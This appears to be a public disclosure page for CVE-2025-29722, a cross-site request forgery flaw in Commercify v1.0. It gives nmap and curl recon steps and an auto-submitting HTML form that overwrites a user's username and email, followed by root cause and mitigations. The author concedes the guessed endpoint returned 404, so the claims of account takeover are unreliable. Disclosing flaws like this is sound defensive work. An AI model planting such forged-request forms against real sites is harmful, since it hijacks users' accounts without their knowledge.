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CVE-2025-29722 PoC — Commercify 安全漏洞

Source
Associated Vulnerability
Title:Commercify 安全漏洞 (CVE-2025-29722)
Description:A CSRF vulnerability in Commercify v1.0 allows remote attackers to perform unauthorized actions on behalf of authenticated users. The issue exists due to missing CSRF protection on sensitive endpoints.
Description
Cross Site Request Forgery (CSRF) in Commercify v1.0
Readme
# 🛡️ CVE-2025-29722 – Cross Site Request Forgery (CSRF) in Commercify v1.0  
**Discovered by: David P.S Abraham (aka Davycipher)**

---

##  CVE ID

**CVE-2025-29722** has been assigned to this vulnerability by [MITRE Corporation](https://cve.mitre.org/).

---

##  Summary

A **CSRF vulnerability** was identified in **Commercify v1.0**, an open-source e-commerce platform developed by [@yassmittal](https://github.com/yassmittal). The application lacks proper CSRF protection mechanisms on critical endpoints such as `/update_settings`, allowing attackers to craft malicious requests that modify user data when executed from another domain.

---

##  Affected Product

- **Product Name:** Commercify
- **Version:** 1.0
- **Repository:** [https://github.com/yassmittal/Commercify](https://github.com/yassmittal/Commercify)

---

##  Vulnerability Type

- CWE-352: Cross-Site Request Forgery (CSRF)

---

##  Exploitation Walkthrough

### Recon Phase

 `nmap` scan revealed that the service was accessible via port `5173`, indicating a possible development server.

```bash
nmap -p 5173 localhost
```

Next, I scanned the app using `nikto`, revealing:

- Missing `X-Frame-Options` header
- Permissive CORS policy (`Access-Control-Allow-Origin: *`)
- Lack of CSRF protection headers

###  Endpoint Brute Forcing

While exploring the application, I suspected a possible `update_settings` endpoint based on the user dashboard features. I tested it with:

```bash
curl -X POST "http://localhost:5173/update_settings" \
-d "username=attacker&email=attacker@example.com"
```

Though a `404 Not Found` was returned, this behavior can be environment-dependent. On valid deployments, this could lead to full account manipulation.

---

##  Proof of Concept (PoC)

HTML-based attack to exploit the CSRF flaw:

```html
<form action="http://localhost:5173/update_settings" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="email" value="attacker@example.com">
</form>
<script>
  document.forms[0].submit();
</script>
```


##  Impact

- Unauthorized changes to user account data
- Privilege escalation if settings include role or email manipulation
- Account takeover scenarios

---

##  Root Cause

- Lack of CSRF tokens
- No `SameSite` cookie attribute
- Permissive CORS (`*`)
- No referer or origin validation

---

##  Mitigation & Recommendations

- Add CSRF tokens for all state-changing endpoints
- Set `SameSite=Strict` or `Lax` on cookies
- Define strict CORS policies
- Implement origin/referer validation

---

##  Discoverer

**David P.S. Abraham**  
Alias: **Davycipher**  
- [GitHub](https://github.com/cypherdavy)  
- [LinkedIn](https://linkedin.com/in/davy-cypher)  
- [Website](https://davycipher.online)

---
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